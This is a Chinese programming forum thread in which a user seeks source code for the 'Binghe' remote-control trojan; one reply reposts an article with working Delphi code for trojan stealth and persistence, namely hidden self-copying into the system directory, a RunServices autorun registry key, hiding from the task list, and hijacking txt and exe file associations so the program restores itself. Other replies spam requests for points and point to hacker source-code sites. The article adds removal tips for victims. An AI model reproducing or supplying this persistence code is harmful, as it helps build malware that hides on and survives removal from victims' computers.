冰河源代码(300分)

谁有，给一个，300分
要完整的。

我以为你有呢？

“冰河”启示录（转）
陈经韬
http://Lovejingtao.126.com Lovejingtao@21cn.com
前言:我经常在杂志和报刊上看到此类标题的文章,但大多是骗稿费的,没有任何技术含量.于是一气之下写了这编东西.本人声明如下一)本人对"冰河"及其作者没有任何不满,相反,作者肯帮助初学者的态度是我们每一个人都应该学习的.(二)本文的目的在于交流编程经验,没有任何其它不良企图.(三)在一些领域，我们理应宁可自制力让我们的预见力保持寂寞，也不要去做一个打开潘多拉盒子的先知。所以一些更厉害的方法我们现在不会提,以后也不会.--2000.8.3
(1)“冰河”是有名的用C++Builder编写的国产远程管理软件,其自我的功能保护很强,下面就以Delphi为例谈一谈它的原理,希望对大家有一些启发.
一、程序安装
此类程序一般会把自己隐藏起来运行,通常不外乎以下几种方法:自我拷贝法、资源文件法、网页方式安装、类病毒捆绑法(如YAI).自我拷贝法适用于本身就一个文件,资源文件法可以同时安装好几个文件,网页方式安装要先向M$交钱换安全签证,类病毒捆绑法利用了病毒的原理.本文只介绍自我拷贝法,其它方法请到我的个人主页去看.http://lovejingtao.126.com
1:自我拷贝法
这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.
打开Delphi,新建一个工程,在窗口的Create事件中写代码:
procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin

myname := ExtractFilename(Application.Exename);
//获得文件名
if application.Exename <> GetWindir + myname then
//如果文件不是在Windows/System/那么..
begin

copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows/System/下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows/System/下的新文件
application.Terminate;//退出
end;

end;

其中GetWinDir是自定义函数,起功能是找出Windows/System/的路径.
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin

GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>''/'' then
Result := Result + ''/'';
end;

另外,为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种方法.
一种方法是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序.
修改dpr项目文件，修改begin
和end之间的代码如下：
begin

Application.Initialize;
if FindWindow(''TForm1'',''Form1'')=0 then
begin

//当没有找到Form1时执行下面代码
Application.ShowMainForm:=False;
//不显示主窗口
Application.CreateForm(TForm1, Form1);
Application.Run;
end;

end.

另一种方法是启动时会先通过窗口名来确定是否已经在运行，如果是则关闭原先的再启动。“冰河”就是用这种方法的。
这样做的好处在于方便升级.它会自动用新版本覆盖旧版本.
方法如下:修改dpr项目文件
uses
Forms,windows,messages,
Unit1 in ''Unit1.pas'' {Form1};
为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
procedure TForm1.FormCreate(Sender: TObject);
const K = ''/Software/Microsoft/Windows/CurrentVersion/RunServices'';
var myname: string;
begin

{Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
myname := ExtractFilename(Application.Exename);
//获得文件名
if application.Exename <> GetWindir + myname then
//如果文件不是在Windows/System/那么..
begin

copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows/System/下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows/System/下的新文件
application.Terminate;//退出
end;

with TRegistry.Createdo

try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( ''syspler'', application.ExeName );
finally
free;
end;

end;

为了让程序用ALT+DEL+CTRL看不见,在implementation后添加声明:
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall;
external ''KERNEL32.DLL'';
再在上面的窗口Create事件加上一句：RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏
启示1:当我们中了“冰河”,如果被对方上了密码而无法自己卸载时,可以先找出是什么文件,然后自己配置一个没有密码的来运行,这样它就会把原来有密码的覆盖掉,自己就可以轻松用它的卸载功能把它卸掉.如果你会编程,也可以自己写一个"清除器"了,方法是先查找到窗口名,向它发送退出命令,再把它删除即可.
(2)“冰河”的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例.
打开Delphi,新建一个工程,在窗口的Create事件中写代码:
uses Registry
procedure TForm1.FormCreate(Sender: TObject);
const Kkk = ''/Software/Microsoft/Windows/CurrentVersion/RunServices'';
const K = ''/txtfile/shell/open/command'';
var sFileName:string;
begin

//******************************************************
with TRegistry.Createdo
//写注册表,让程序跟文本文件关联
try
RootKey := HKEY_CLASSES_ROOT;
OpenKey( K, TRUE );
{Write by Lovejingtao,http://lovejingtao.126.com}
WriteString( '''', application.ExeName+'' "%1" '');
{Write by Lovejingtao,lovejingtao@21cn.com}
finally
free;
end;

//*******************************************************
with TRegistry.Createdo
//写注册表，每次启动时自动运行
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( Kkk, TRUE );
WriteString( ''myTray'', application.ExeName );
finally
free;
end;

//********************************************************
if FileExists(pchar(Getwindir+''Sysplay.exe''))=false then
//如果文件已经删除
begin

copyfile;//自定义拷贝资源文件过程
winexec(pchar(Getwindir+''Sysplay.exe''),sw_hide);
end;

//**********************************************************
if ParamCount>0 then
begin
(* 有执行参数传入 *)
sFileName:=ParamStr(1);
(* 取得参数内容 *)
winexec(pchar(''Notepad.exe ''+sFileName),sw_show);(*用记事本打开*)
//winexec(pchar( sFileName),sw_show);
end;

//*******************************************************
application.Terminate;//退出
end;

如果要改为与Exe文件关联,只要把"const K = ''/txtfile/shell/open/command'';"改为
"const K = ''/exefile/shell/open/command'';",把"winexec(pchar(''Notepad.exe ''+sFileName),sw_show);"
改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows而运行的Rundll32.dll,
否则会因为关联Exe文件而退不出Windows.
启示2:手工删除“冰河”时,还要改掉它的保护功能,不能让它恢复.如果是关联了文本文件,先改注册表让它不能自动运行,重启后不要打开文本文件,立刻进到其安装目录把它删除.如果是关联了Exe文件,那只有回到Dos下删.切记:一定要把两个文件同时删掉,否则你重启后会发现文件又恢复了.

★作者:
陈经韬
Http:Lovejingtao.126.com
E-Mail: Lovejingtao@21.cn.com
　

&amp;copy;CopyRight 2000
^^^^^^^^^^^^……………………………………………………
………………………………………………
……………………………………
……………………………………
……………………………………………………
快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分
快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分
快给我300分快给我300分
快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分
快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分
快给我300分
快给我300分快给我300分快给我300分
快给我300分快给我300分快给我300分快给我300分快给我300分快给我300分
快给我300分快给我300分快给我300分快给我300分快给我300分
快给我300分
快给我300分快给我300分

to :Chenlili
快给我300分
快给我300分
快给我300分

不少类似的源码的，看看其它的一样。

我只有一个类似冰河的代码 []

如果我发一个给你怎么办？？？？先加先，一定有，而且里面有很多技巧及API，OK[]

呵呵，冰河的作者没有公布源代码：）
用以上富翁们提供的“类”冰河即可，一样的：）

[red]
to :Chenlili
快给我300分
快给我300分
快给我300分
[/red]

只要冰河的，无赖小子的也行

?

gz

mlzhou
也给我一份lb_icesea79@inhe.net

给他吧！钱越来越难赚了！

去黑白网络http://www.heibai.net/main.htm那有好多这方面的源代码!
在软件分类列表的程序代码中有很多关于黑客程序的源代码,祝你好运能找到!
我记得有个叫<东方神匙>的,带源码,写的还可以!

ｔｏ Argus:
你穷疯了,这种东西也想要分,hehe
to chenlili:
冰河辕马是肯定找不到的,不过类是的东西倒是有,网络精灵也实现了不少功能,网上
应能找的到的,我那机器里倒是有,可软驱坏了,又不能上网了,不然就考给你了,你先找找
我对这些也挺感兴趣的

整个富翁也找不到啊

我记得有的。

NETKEY 的要吗？

http://www.ccrun.com上面有冰河抓屏部分的源代码：
http://www.hxkr.com.cn/ccrun/source/RemoteScreen.zip
（所有压缩包的解压密码都是：www.ccrun.com）